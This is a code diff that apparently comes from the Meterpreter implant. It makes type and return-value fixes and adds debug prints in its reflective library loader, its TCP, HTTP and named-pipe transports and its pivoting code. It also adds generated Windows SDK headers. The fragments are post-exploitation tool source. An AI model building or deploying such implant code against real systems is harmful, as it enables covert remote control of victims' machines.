// If the library is not to be stored on disk,
if (!(flags & LOAD_LIBRARY_FLAG_ON_DISK))
{
LPCSTR reflectiveLoader = packet_get_tlv_value_reflective_loader(packet);
dprintf("[LOADLIB] here 7");
// try to load the library via its reflective loader...
library = LoadLibraryR(dataTlv.buffer, dataTlv.header.length, reflectiveLoader);
dprintf("[LOADLIB] here 8");
if (library == NULL)
{
// if that fails, presumably besause the library doesn't support
@ -361,6 +369,7 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
{
bLibLoadedReflectivly = TRUE;
}
dprintf("[LOADLIB] here 9");
res = (library) ? ERROR_SUCCESS : ERROR_NOT_FOUND;
}
@ -396,10 +405,12 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
} while (0);
dprintf("[LOADLIB] here 10");
if (response)
{
packet_transmit_response(res, remote, response);
}
dprintf("[LOADLIB] here 11");
return res;
}

View File

@ -2,8 +2,8 @@
#include "server_pivot_named_pipe.h"
#include "packet_encryption.h"
#include <AccCtrl.h>
#include <AclApi.h>
#include <accctrl.h>
#include <aclapi.h>
#define PIPE_NAME_SIZE 256
#define PIPE_BUFFER_SIZE 0x10000
@ -755,7 +755,7 @@ DWORD request_core_pivot_add_named_pipe(Remote* remote, Packet* packet)
namedPipeServer = ".";
}
UINT pivotIdLen = 0;
DWORD pivotIdLen = 0;
LPBYTE pivotId = packet_get_tlv_value_raw(packet, TLV_TYPE_PIVOT_ID, &pivotIdLen);
if (pivotId != NULL)
{

View File

@ -426,7 +426,7 @@ DWORD server_setup(MetsrvConfig* config)
dprintf("[SERVER] attempting to initialise transport 0x%p", remote->transport);
// Each transport has its own set of retry settings and each should honour
// them individually.
if (!remote->transport->transport_init(remote->transport))
if (remote->transport->transport_init(remote->transport) != ERROR_SUCCESS)
{
dprintf("[SERVER] transport initialisation failed, moving to the next transport");
remote->transport = remote->transport->next_transport;

View File

@ -101,7 +101,7 @@ static DWORD packet_receive_named_pipe(Remote *remote, Packet **packet)
{
DWORD headerBytes = 0, payloadBytesLeft = 0, res;
PacketHeader header = { 0 };
LONG bytesRead;
DWORD bytesRead;
BOOL inHeader = TRUE;
PUCHAR packetBuffer = NULL;
PUCHAR payload = NULL;
@ -156,7 +156,7 @@ static DWORD packet_receive_named_pipe(Remote *remote, Packet **packet)
dprintf("[PIPE] discovered a length header, assuming it's metsrv of length %d", length);
int bytesToRead = length - sizeof(PacketHeader) + sizeof(DWORD);
char* buffer = (char*)malloc(bytesToRead);
BYTE* buffer = (BYTE*)malloc(bytesToRead);
read_raw_bytes_to_buffer(ctx, buffer, bytesToRead, &bytesRead);
free(buffer);
@ -466,7 +466,7 @@ static HANDLE bind_named_pipe(wchar_t *pipe_name, TimeoutSettings *timeouts)
* @param transport Pointer to the transport instance.
* @return Indication of success or failure.
*/
static BOOL configure_named_pipe_connection(Transport* transport)
static DWORD configure_named_pipe_connection(Transport* transport)
{
DWORD result = ERROR_SUCCESS;
wchar_t tempUrl[512];
@ -545,7 +545,7 @@ static BOOL configure_named_pipe_connection(Transport* transport)
if (ctx->pipe == INVALID_HANDLE_VALUE)
{
dprintf("[SERVER] Something went wrong");
return FALSE;
return ERROR_INVALID_PARAMETER;
}
dprintf("[SERVER] Looking good, FORWARD!");
@ -555,7 +555,7 @@ static BOOL configure_named_pipe_connection(Transport* transport)
transport->comms_last_packet = current_unix_timestamp();
return TRUE;
return result;
}
/*!

View File

@ -308,7 +308,7 @@ static DWORD packet_receive(Remote *remote, Packet **packet)
DWORD headerBytes = 0, payloadBytesLeft = 0, res;
Packet *localPacket = NULL;
PacketHeader header = { 0 };
LONG bytesRead;
DWORD bytesRead;
BOOL inHeader = TRUE;
PUCHAR packetBuffer = NULL;
ULONG payloadLength;
@ -320,7 +320,7 @@ static DWORD packet_receive(Remote *remote, Packet **packet)
// Read the packet length
while (inHeader)
{
if ((bytesRead = recv(ctx->fd, ((PUCHAR)&header + headerBytes), sizeof(PacketHeader)-headerBytes, 0)) <= 0)
if ((bytesRead = recv(ctx->fd, ((PCHAR)&header + headerBytes), sizeof(PacketHeader)-headerBytes, 0)) <= 0)
{
SetLastError(ERROR_NOT_FOUND);
goto out;
@ -425,7 +425,7 @@ static DWORD packet_receive(Remote *remote, Packet **packet)
// Read the payload
while (payloadBytesLeft > 0)
{
if ((bytesRead = recv(ctx->fd, payload + payloadLength - payloadBytesLeft, payloadBytesLeft, 0)) <= 0)
if ((bytesRead = recv(ctx->fd, (PCHAR)(payload + payloadLength - payloadBytesLeft), payloadBytesLeft, 0)) <= 0)
{
if (GetLastError() == WSAEWOULDBLOCK)
@ -689,7 +689,7 @@ static void transport_reset_tcp(Transport* transport, BOOL shuttingDown)
* @param transport Pointer to the transport instance.
* @return Indication of success or failure.
*/
static BOOL configure_tcp_connection(Transport* transport)
static DWORD configure_tcp_connection(Transport* transport)
{
DWORD result = ERROR_SUCCESS;
size_t charsConverted;
@ -751,17 +751,18 @@ static BOOL configure_tcp_connection(Transport* transport)
if (result != ERROR_SUCCESS)
{
dprintf("[SERVER] Something went wrong %u", result);
return FALSE;
}
else
{
dprintf("[SERVER] Looking good, FORWARD!");
// Do not allow the file descriptor to be inherited by child processes
SetHandleInformation((HANDLE)ctx->fd, HANDLE_FLAG_INHERIT, 0);
transport->comms_last_packet = current_unix_timestamp();
}
dprintf("[SERVER] Looking good, FORWARD!");
// Do not allow the file descriptor to be inherited by child processes
SetHandleInformation((HANDLE)ctx->fd, HANDLE_FLAG_INHERIT, 0);
transport->comms_last_packet = current_unix_timestamp();
return TRUE;
return result;
}
/*!
@ -781,7 +782,7 @@ DWORD packet_transmit_tcp(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLengt
while (idx < rawPacketLength)
{
result = send(ctx->fd, rawPacket + idx, rawPacketLength - idx, 0);
result = send(ctx->fd, (PCHAR)(rawPacket + idx), rawPacketLength - idx, 0);
if (result < 0)
{

View File

@ -127,7 +127,7 @@ static HINTERNET get_request_winhttp(HttpTransportContext *ctx, BOOL isGet, cons
if (ctx->proxy_user)
{
dprintf("[%s] Setting proxy username to %S", direction, ctx->proxy_user);
if (!WinHttpSetOption(hReq, WINHTTP_OPTION_PROXY_USERNAME, ctx->proxy_user, (DWORD)(wcslen(ctx->proxy_user))));
if (!WinHttpSetOption(hReq, WINHTTP_OPTION_PROXY_USERNAME, ctx->proxy_user, (DWORD)(wcslen(ctx->proxy_user))))
{
dprintf("[%s] Failed to set username %u", direction, GetLastError());
}
@ -135,7 +135,7 @@ static HINTERNET get_request_winhttp(HttpTransportContext *ctx, BOOL isGet, cons
if (ctx->proxy_pass)
{
dprintf("[%s] Setting proxy password to %S", direction, ctx->proxy_pass);
if (!WinHttpSetOption(hReq, WINHTTP_OPTION_PROXY_PASSWORD, ctx->proxy_pass, (DWORD)(wcslen(ctx->proxy_pass))));
if (!WinHttpSetOption(hReq, WINHTTP_OPTION_PROXY_PASSWORD, ctx->proxy_pass, (DWORD)(wcslen(ctx->proxy_pass))))
{
dprintf("[%s] Failed to set password %u", direction, GetLastError());
}
@ -336,7 +336,7 @@ static DWORD packet_receive_http(Remote *remote, Packet **packet)
DWORD headerBytes = 0, payloadBytesLeft = 0, res;
Packet *localPacket = NULL;
PacketHeader header;
LONG bytesRead;
DWORD bytesRead;
BOOL inHeader = TRUE;
PUCHAR packetBuffer = NULL;
ULONG payloadLength;
@ -541,7 +541,7 @@ out:
* @param transport Pointer to the transport instance.
* @return Indication of success or failure.
*/
static BOOL server_init_winhttp(Transport* transport)
static DWORD server_init_winhttp(Transport* transport)
{
URL_COMPONENTS bits;
wchar_t tmpHostName[URL_SIZE];
@ -564,7 +564,7 @@ static BOOL server_init_winhttp(Transport* transport)
if (!ctx->internet)
{
dprintf("[DISPATCH] Failed WinHttpOpen: %d", GetLastError());
return FALSE;
return GetLastError();
}
dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet);
@ -597,12 +597,12 @@ static BOOL server_init_winhttp(Transport* transport)
if (!ctx->connection)
{
dprintf("[DISPATCH] Failed WinHttpConnect: %d", GetLastError());
return FALSE;
return GetLastError();
}
dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection);
return TRUE;
return ERROR_SUCCESS;
}
/*!

View File

@ -141,7 +141,7 @@ static DWORD validate_response_wininet(HANDLE hReq, HttpTransportContext* ctx)
* @param transport Pointer to the transport instance.
* @return Indication of success or failure.
*/
static BOOL server_init_wininet(Transport* transport)
static DWORD server_init_wininet(Transport* transport)
{
URL_COMPONENTS bits;
wchar_t tmpHostName[URL_SIZE];
@ -164,7 +164,7 @@ static BOOL server_init_wininet(Transport* transport)
if (!ctx->internet)
{
dprintf("[DISPATCH] Failed InternetOpenW: %d", GetLastError());
return FALSE;
return GetLastError();
}
dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet);
@ -197,7 +197,7 @@ static BOOL server_init_wininet(Transport* transport)
if (!ctx->connection)
{
dprintf("[DISPATCH] Failed InternetConnect: %d", GetLastError());
return FALSE;
return GetLastError();
}
if (ctx->proxy)
@ -214,7 +214,7 @@ static BOOL server_init_wininet(Transport* transport)
dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection);
return TRUE;
return ERROR_SUCCESS;
}
/*!

View File

@ -195,10 +195,10 @@ void disable_thread_error_reporting()
}
}
static DWORD THREADCALL thread_preamble(THREAD* thread)
static ULONG THREADCALL thread_preamble(THREAD* thread)
{
disable_thread_error_reporting();
return thread->funk(thread);
return (ULONG)thread->funk(thread);
}
/*
@ -233,7 +233,7 @@ THREAD* thread_create(THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID para
thread->parameter3 = param3;
thread->funk = funk;
thread->handle = CreateThread(NULL, 0, thread_preamble, thread, CREATE_SUSPENDED, &thread->id);
thread->handle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)thread_preamble, thread, CREATE_SUSPENDED, &thread->id);
if (thread->handle == NULL)
{

View File

@ -0,0 +1,379 @@
/* this ALWAYS GENERATED file contains the definitions for the interfaces */
/* File created by MIDL compiler version 8.01.0622 */
/* @@MIDL_FILE_HEADING( ) */
/* verify that the <rpcndr.h> version is high enough to compile this file*/
#ifndef __REQUIRED_RPCNDR_H_VERSION__
#define __REQUIRED_RPCNDR_H_VERSION__ 500
#endif
/* verify that the <rpcsal.h> version is high enough to compile this file*/
#ifndef __REQUIRED_RPCSAL_H_VERSION__
#define __REQUIRED_RPCSAL_H_VERSION__ 100
#endif
#include "rpc.h"
#include "rpcndr.h"
#ifndef __RPCNDR_H_VERSION__
#error this stub requires an updated version of <rpcndr.h>
#endif /* __RPCNDR_H_VERSION__ */
#ifndef COM_NO_WINDOWS_H
#include "windows.h"
#include "ole2.h"
#endif /*COM_NO_WINDOWS_H*/
#ifndef __filtereg_h__
#define __filtereg_h__
#if defined(_MSC_VER) && (_MSC_VER >= 1020)
#pragma once
#endif
/* Forward Declarations */
#ifndef __ILoadFilter_FWD_DEFINED__
#define __ILoadFilter_FWD_DEFINED__
typedef interface ILoadFilter ILoadFilter;
#endif /* __ILoadFilter_FWD_DEFINED__ */
#ifndef __ILoadFilterWithPrivateComActivation_FWD_DEFINED__
#define __ILoadFilterWithPrivateComActivation_FWD_DEFINED__
typedef interface ILoadFilterWithPrivateComActivation ILoadFilterWithPrivateComActivation;
#endif /* __ILoadFilterWithPrivateComActivation_FWD_DEFINED__ */
/* header files for imported files */
#include "oaidl.h"
#include "ocidl.h"
#include "filter.h"
#ifdef __cplusplus
extern "C"{
#endif
/* interface __MIDL_itf_filtereg_0000_0000 */
/* [local] */
#include <winapifamily.h>
#pragma region Desktop Family
#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
EXTERN_C const CLSID CLSID_FilterRegistration;
extern RPC_IF_HANDLE __MIDL_itf_filtereg_0000_0000_v0_0_c_ifspec;
extern RPC_IF_HANDLE __MIDL_itf_filtereg_0000_0000_v0_0_s_ifspec;
#ifndef __ILoadFilter_INTERFACE_DEFINED__
#define __ILoadFilter_INTERFACE_DEFINED__
/* interface ILoadFilter */
/* [unique][helpstring][uuid][object] */
typedef struct _FILTERED_DATA_SOURCES
{
const WCHAR *pwcsExtension;
const WCHAR *pwcsMime;
const CLSID *pClsid;
const WCHAR *pwcsOverride;
} FILTERED_DATA_SOURCES;
EXTERN_C const IID IID_ILoadFilter;
#if defined(__cplusplus) && !defined(CINTERFACE)
MIDL_INTERFACE("c7310722-ac80-11d1-8df3-00c04fb6ef4f")
ILoadFilter : public IUnknown
{
public:
virtual HRESULT STDMETHODCALLTYPE LoadIFilter(
/* [unique][in] */ __RPC__in_opt LPCWSTR pwcsPath,
/* [unique][in] */ __RPC__in_opt FILTERED_DATA_SOURCES *pFilteredSources,
/* [unique][in] */ __RPC__in_opt IUnknown *pUnkOuter,
/* [in] */ BOOL fUseDefault,
/* [unique][out][in] */ __RPC__inout_opt CLSID *pFilterClsid,
/* [unique][out][in] */ __RPC__inout_opt int *SearchDecSize,
/* [length_is][length_is][size_is][size_is][unique][out][in] */ __RPC__deref_opt_inout_ecount_part_opt(( *SearchDecSize + 1 ) , ( *SearchDecSize + 1 ) ) WCHAR **pwcsSearchDesc,
/* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **ppIFilt) = 0;
virtual HRESULT STDMETHODCALLTYPE LoadIFilterFromStorage(
/* [in] */ __RPC__in_opt IStorage *pStg,
/* [unique][in] */ __RPC__in_opt IUnknown *pUnkOuter,
/* [unique][in] */ __RPC__in_opt LPCWSTR pwcsOverride,
/* [in] */ BOOL fUseDefault,
/* [unique][out][in] */ __RPC__inout_opt CLSID *pFilterClsid,
/* [unique][out][in] */ __RPC__inout_opt int *SearchDecSize,
/* [length_is][length_is][size_is][size_is][unique][out][in] */ __RPC__deref_opt_inout_ecount_part_opt(( *SearchDecSize + 1 ) , ( *SearchDecSize + 1 ) ) WCHAR **pwcsSearchDesc,
/* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **ppIFilt) = 0;
virtual HRESULT STDMETHODCALLTYPE LoadIFilterFromStream(
/* [in] */ __RPC__in_opt IStream *pStm,
/* [unique][in] */ __RPC__in_opt FILTERED_DATA_SOURCES *pFilteredSources,
/* [unique][in] */ __RPC__in_opt IUnknown *pUnkOuter,
/* [in] */ BOOL fUseDefault,
/* [unique][out][in] */ __RPC__inout_opt CLSID *pFilterClsid,
/* [unique][out][in] */ __RPC__inout_opt int *SearchDecSize,
/* [length_is][length_is][size_is][size_is][unique][out][in] */ __RPC__deref_opt_inout_ecount_part_opt(( *SearchDecSize + 1 ) , ( *SearchDecSize + 1 ) ) WCHAR **pwcsSearchDesc,
/* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **ppIFilt) = 0;
};
#else /* C style interface */
typedef struct ILoadFilterVtbl
{
BEGIN_INTERFACE
HRESULT ( STDMETHODCALLTYPE *QueryInterface )(
__RPC__in ILoadFilter * This,
/* [in] */ __RPC__in REFIID riid,
/* [annotation][iid_is][out] */
_COM_Outptr_ void **ppvObject);
ULONG ( STDMETHODCALLTYPE *AddRef )(
__RPC__in ILoadFilter * This);
ULONG ( STDMETHODCALLTYPE *Release )(
__RPC__in ILoadFilter * This);
HRESULT ( STDMETHODCALLTYPE *LoadIFilter )(
__RPC__in ILoadFilter * This,
/* [unique][in] */ __RPC__in_opt LPCWSTR pwcsPath,
/* [unique][in] */ __RPC__in_opt FILTERED_DATA_SOURCES *pFilteredSources,
/* [unique][in] */ __RPC__in_opt IUnknown *pUnkOuter,
/* [in] */ BOOL fUseDefault,
/* [unique][out][in] */ __RPC__inout_opt CLSID *pFilterClsid,
/* [unique][out][in] */ __RPC__inout_opt int *SearchDecSize,
/* [length_is][length_is][size_is][size_is][unique][out][in] */ __RPC__deref_opt_inout_ecount_part_opt(( *SearchDecSize + 1 ) , ( *SearchDecSize + 1 ) ) WCHAR **pwcsSearchDesc,
/* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **ppIFilt);
HRESULT ( STDMETHODCALLTYPE *LoadIFilterFromStorage )(
__RPC__in ILoadFilter * This,
/* [in] */ __RPC__in_opt IStorage *pStg,
/* [unique][in] */ __RPC__in_opt IUnknown *pUnkOuter,
/* [unique][in] */ __RPC__in_opt LPCWSTR pwcsOverride,
/* [in] */ BOOL fUseDefault,
/* [unique][out][in] */ __RPC__inout_opt CLSID *pFilterClsid,
/* [unique][out][in] */ __RPC__inout_opt int *SearchDecSize,
/* [length_is][length_is][size_is][size_is][unique][out][in] */ __RPC__deref_opt_inout_ecount_part_opt(( *SearchDecSize + 1 ) , ( *SearchDecSize + 1 ) ) WCHAR **pwcsSearchDesc,
/* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **ppIFilt);
HRESULT ( STDMETHODCALLTYPE *LoadIFilterFromStream )(
__RPC__in ILoadFilter * This,
/* [in] */ __RPC__in_opt IStream *pStm,
/* [unique][in] */ __RPC__in_opt FILTERED_DATA_SOURCES *pFilteredSources,
/* [unique][in] */ __RPC__in_opt IUnknown *pUnkOuter,
/* [in] */ BOOL fUseDefault,
/* [unique][out][in] */ __RPC__inout_opt CLSID *pFilterClsid,
/* [unique][out][in] */ __RPC__inout_opt int *SearchDecSize,
/* [length_is][length_is][size_is][size_is][unique][out][in] */ __RPC__deref_opt_inout_ecount_part_opt(( *SearchDecSize + 1 ) , ( *SearchDecSize + 1 ) ) WCHAR **pwcsSearchDesc,
/* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **ppIFilt);
END_INTERFACE
} ILoadFilterVtbl;
interface ILoadFilter
{
CONST_VTBL struct ILoadFilterVtbl *lpVtbl;
};
#ifdef COBJMACROS
#define ILoadFilter_QueryInterface(This,riid,ppvObject) \
( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) )
#define ILoadFilter_AddRef(This) \
( (This)->lpVtbl -> AddRef(This) )
#define ILoadFilter_Release(This) \
( (This)->lpVtbl -> Release(This) )
#define ILoadFilter_LoadIFilter(This,pwcsPath,pFilteredSources,pUnkOuter,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt) \
( (This)->lpVtbl -> LoadIFilter(This,pwcsPath,pFilteredSources,pUnkOuter,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt) )
#define ILoadFilter_LoadIFilterFromStorage(This,pStg,pUnkOuter,pwcsOverride,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt) \
( (This)->lpVtbl -> LoadIFilterFromStorage(This,pStg,pUnkOuter,pwcsOverride,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt) )
#define ILoadFilter_LoadIFilterFromStream(This,pStm,pFilteredSources,pUnkOuter,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt) \
( (This)->lpVtbl -> LoadIFilterFromStream(This,pStm,pFilteredSources,pUnkOuter,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt) )
#endif /* COBJMACROS */
#endif /* C style interface */
#endif /* __ILoadFilter_INTERFACE_DEFINED__ */
#ifndef __ILoadFilterWithPrivateComActivation_INTERFACE_DEFINED__
#define __ILoadFilterWithPrivateComActivation_INTERFACE_DEFINED__
/* interface ILoadFilterWithPrivateComActivation */
/* [unique][helpstring][uuid][object] */
EXTERN_C const IID IID_ILoadFilterWithPrivateComActivation;
#if defined(__cplusplus) && !defined(CINTERFACE)
MIDL_INTERFACE("40BDBD34-780B-48D3-9BB6-12EBD4AD2E75")
ILoadFilterWithPrivateComActivation : public ILoadFilter
{
public:
virtual HRESULT STDMETHODCALLTYPE LoadIFilterWithPrivateComActivation(
/* [unique][in] */ __RPC__in_opt FILTERED_DATA_SOURCES *filteredSources,
/* [in] */ BOOL useDefault,
/* [out] */ __RPC__out CLSID *filterClsid,
/* [out] */ __RPC__out BOOL *isFilterPrivateComActivated,
/* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **filterObj) = 0;
};
#else /* C style interface */
typedef struct ILoadFilterWithPrivateComActivationVtbl
{
BEGIN_INTERFACE
HRESULT ( STDMETHODCALLTYPE *QueryInterface )(
__RPC__in ILoadFilterWithPrivateComActivation * This,
/* [in] */ __RPC__in REFIID riid,
/* [annotation][iid_is][out] */
_COM_Outptr_ void **ppvObject);
ULONG ( STDMETHODCALLTYPE *AddRef )(
__RPC__in ILoadFilterWithPrivateComActivation * This);
ULONG ( STDMETHODCALLTYPE *Release )(
__RPC__in ILoadFilterWithPrivateComActivation * This);
HRESULT ( STDMETHODCALLTYPE *LoadIFilter )(
__RPC__in ILoadFilterWithPrivateComActivation * This,
/* [unique][in] */ __RPC__in_opt LPCWSTR pwcsPath,
/* [unique][in] */ __RPC__in_opt FILTERED_DATA_SOURCES *pFilteredSources,
/* [unique][in] */ __RPC__in_opt IUnknown *pUnkOuter,
/* [in] */ BOOL fUseDefault,
/* [unique][out][in] */ __RPC__inout_opt CLSID *pFilterClsid,
/* [unique][out][in] */ __RPC__inout_opt int *SearchDecSize,
/* [length_is][length_is][size_is][size_is][unique][out][in] */ __RPC__deref_opt_inout_ecount_part_opt(( *SearchDecSize + 1 ) , ( *SearchDecSize + 1 ) ) WCHAR **pwcsSearchDesc,
/* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **ppIFilt);
HRESULT ( STDMETHODCALLTYPE *LoadIFilterFromStorage )(
__RPC__in ILoadFilterWithPrivateComActivation * This,
/* [in] */ __RPC__in_opt IStorage *pStg,
/* [unique][in] */ __RPC__in_opt IUnknown *pUnkOuter,
/* [unique][in] */ __RPC__in_opt LPCWSTR pwcsOverride,
/* [in] */ BOOL fUseDefault,
/* [unique][out][in] */ __RPC__inout_opt CLSID *pFilterClsid,
/* [unique][out][in] */ __RPC__inout_opt int *SearchDecSize,
/* [length_is][length_is][size_is][size_is][unique][out][in] */ __RPC__deref_opt_inout_ecount_part_opt(( *SearchDecSize + 1 ) , ( *SearchDecSize + 1 ) ) WCHAR **pwcsSearchDesc,
/* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **ppIFilt);
HRESULT ( STDMETHODCALLTYPE *LoadIFilterFromStream )(
__RPC__in ILoadFilterWithPrivateComActivation * This,
/* [in] */ __RPC__in_opt IStream *pStm,
/* [unique][in] */ __RPC__in_opt FILTERED_DATA_SOURCES *pFilteredSources,
/* [unique][in] */ __RPC__in_opt IUnknown *pUnkOuter,
/* [in] */ BOOL fUseDefault,
/* [unique][out][in] */ __RPC__inout_opt CLSID *pFilterClsid,
/* [unique][out][in] */ __RPC__inout_opt int *SearchDecSize,
/* [length_is][length_is][size_is][size_is][unique][out][in] */ __RPC__deref_opt_inout_ecount_part_opt(( *SearchDecSize + 1 ) , ( *SearchDecSize + 1 ) ) WCHAR **pwcsSearchDesc,
/* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **ppIFilt);
HRESULT ( STDMETHODCALLTYPE *LoadIFilterWithPrivateComActivation )(
__RPC__in ILoadFilterWithPrivateComActivation * This,
/* [unique][in] */ __RPC__in_opt FILTERED_DATA_SOURCES *filteredSources,
/* [in] */ BOOL useDefault,
/* [out] */ __RPC__out CLSID *filterClsid,
/* [out] */ __RPC__out BOOL *isFilterPrivateComActivated,
/* [unique][out][in] */ __RPC__deref_opt_inout_opt IFilter **filterObj);
END_INTERFACE
} ILoadFilterWithPrivateComActivationVtbl;
interface ILoadFilterWithPrivateComActivation
{
CONST_VTBL struct ILoadFilterWithPrivateComActivationVtbl *lpVtbl;
};
#ifdef COBJMACROS
#define ILoadFilterWithPrivateComActivation_QueryInterface(This,riid,ppvObject) \
( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) )
#define ILoadFilterWithPrivateComActivation_AddRef(This) \
( (This)->lpVtbl -> AddRef(This) )
#define ILoadFilterWithPrivateComActivation_Release(This) \
( (This)->lpVtbl -> Release(This) )
#define ILoadFilterWithPrivateComActivation_LoadIFilter(This,pwcsPath,pFilteredSources,pUnkOuter,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt) \
( (This)->lpVtbl -> LoadIFilter(This,pwcsPath,pFilteredSources,pUnkOuter,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt) )
#define ILoadFilterWithPrivateComActivation_LoadIFilterFromStorage(This,pStg,pUnkOuter,pwcsOverride,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt) \
( (This)->lpVtbl -> LoadIFilterFromStorage(This,pStg,pUnkOuter,pwcsOverride,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt) )
#define ILoadFilterWithPrivateComActivation_LoadIFilterFromStream(This,pStm,pFilteredSources,pUnkOuter,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt) \
( (This)->lpVtbl -> LoadIFilterFromStream(This,pStm,pFilteredSources,pUnkOuter,fUseDefault,pFilterClsid,SearchDecSize,pwcsSearchDesc,ppIFilt) )
#define ILoadFilterWithPrivateComActivation_LoadIFilterWithPrivateComActivation(This,filteredSources,useDefault,filterClsid,isFilterPrivateComActivated,filterObj) \
( (This)->lpVtbl -> LoadIFilterWithPrivateComActivation(This,filteredSources,useDefault,filterClsid,isFilterPrivateComActivated,filterObj) )
#endif /* COBJMACROS */
#endif /* C style interface */
#endif /* __ILoadFilterWithPrivateComActivation_INTERFACE_DEFINED__ */
/* interface __MIDL_itf_filtereg_0000_0002 */
/* [local] */
#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */
#pragma endregion
extern RPC_IF_HANDLE __MIDL_itf_filtereg_0000_0002_v0_0_c_ifspec;
extern RPC_IF_HANDLE __MIDL_itf_filtereg_0000_0002_v0_0_s_ifspec;
/* Additional Prototypes for ALL interfaces */
/* end of Additional Prototypes */
#ifdef __cplusplus
}
#endif
#endif

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,770 @@
/* this ALWAYS GENERATED file contains the definitions for the interfaces */
/* File created by MIDL compiler version 8.01.0622 */
/* @@MIDL_FILE_HEADING( ) */
/* verify that the <rpcndr.h> version is high enough to compile this file*/
#ifndef __REQUIRED_RPCNDR_H_VERSION__
#define __REQUIRED_RPCNDR_H_VERSION__ 500
#endif
/* verify that the <rpcsal.h> version is high enough to compile this file*/
#ifndef __REQUIRED_RPCSAL_H_VERSION__
#define __REQUIRED_RPCSAL_H_VERSION__ 100
#endif
#include "rpc.h"
#include "rpcndr.h"
#ifndef __RPCNDR_H_VERSION__
#error this stub requires an updated version of <rpcndr.h>
#endif /* __RPCNDR_H_VERSION__ */
#ifndef COM_NO_WINDOWS_H
#include "windows.h"
#include "ole2.h"
#endif /*COM_NO_WINDOWS_H*/
#ifndef __structuredquerycondition_h__
#define __structuredquerycondition_h__
#if defined(_MSC_VER) && (_MSC_VER >= 1020)
#pragma once
#endif
/* Forward Declarations */
#ifndef __IRichChunk_FWD_DEFINED__
#define __IRichChunk_FWD_DEFINED__
typedef interface IRichChunk IRichChunk;
#endif /* __IRichChunk_FWD_DEFINED__ */
#ifndef __ICondition_FWD_DEFINED__
#define __ICondition_FWD_DEFINED__
typedef interface ICondition ICondition;
#endif /* __ICondition_FWD_DEFINED__ */
#ifndef __ICondition2_FWD_DEFINED__
#define __ICondition2_FWD_DEFINED__
typedef interface ICondition2 ICondition2;
#endif /* __ICondition2_FWD_DEFINED__ */
/* header files for imported files */
#include "oaidl.h"
#include "ocidl.h"
#include "propidl.h"
#ifdef __cplusplus
extern "C"{
#endif
/* interface __MIDL_itf_structuredquerycondition_0000_0000 */
/* [local] */
#include <winapifamily.h>
typedef /* [v1_enum] */
enum tagCONDITION_TYPE
{
CT_AND_CONDITION = 0,
CT_OR_CONDITION = ( CT_AND_CONDITION + 1 ) ,
CT_NOT_CONDITION = ( CT_OR_CONDITION + 1 ) ,
CT_LEAF_CONDITION = ( CT_NOT_CONDITION + 1 )
} CONDITION_TYPE;
typedef /* [v1_enum] */
enum tagCONDITION_OPERATION
{
COP_IMPLICIT = 0,
COP_EQUAL = ( COP_IMPLICIT + 1 ) ,
COP_NOTEQUAL = ( COP_EQUAL + 1 ) ,
COP_LESSTHAN = ( COP_NOTEQUAL + 1 ) ,
COP_GREATERTHAN = ( COP_LESSTHAN + 1 ) ,
COP_LESSTHANOREQUAL = ( COP_GREATERTHAN + 1 ) ,
COP_GREATERTHANOREQUAL = ( COP_LESSTHANOREQUAL + 1 ) ,
COP_VALUE_STARTSWITH = ( COP_GREATERTHANOREQUAL + 1 ) ,
COP_VALUE_ENDSWITH = ( COP_VALUE_STARTSWITH + 1 ) ,
COP_VALUE_CONTAINS = ( COP_VALUE_ENDSWITH + 1 ) ,
COP_VALUE_NOTCONTAINS = ( COP_VALUE_CONTAINS + 1 ) ,
COP_DOSWILDCARDS = ( COP_VALUE_NOTCONTAINS + 1 ) ,
COP_WORD_EQUAL = ( COP_DOSWILDCARDS + 1 ) ,
COP_WORD_STARTSWITH = ( COP_WORD_EQUAL + 1 ) ,
COP_APPLICATION_SPECIFIC = ( COP_WORD_STARTSWITH + 1 )
} CONDITION_OPERATION;
#pragma region Desktop Family
#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
extern RPC_IF_HANDLE __MIDL_itf_structuredquerycondition_0000_0000_v0_0_c_ifspec;
extern RPC_IF_HANDLE __MIDL_itf_structuredquerycondition_0000_0000_v0_0_s_ifspec;
#ifndef __IRichChunk_INTERFACE_DEFINED__
#define __IRichChunk_INTERFACE_DEFINED__
/* interface IRichChunk */
/* [unique][uuid][object] */
EXTERN_C const IID IID_IRichChunk;
#if defined(__cplusplus) && !defined(CINTERFACE)
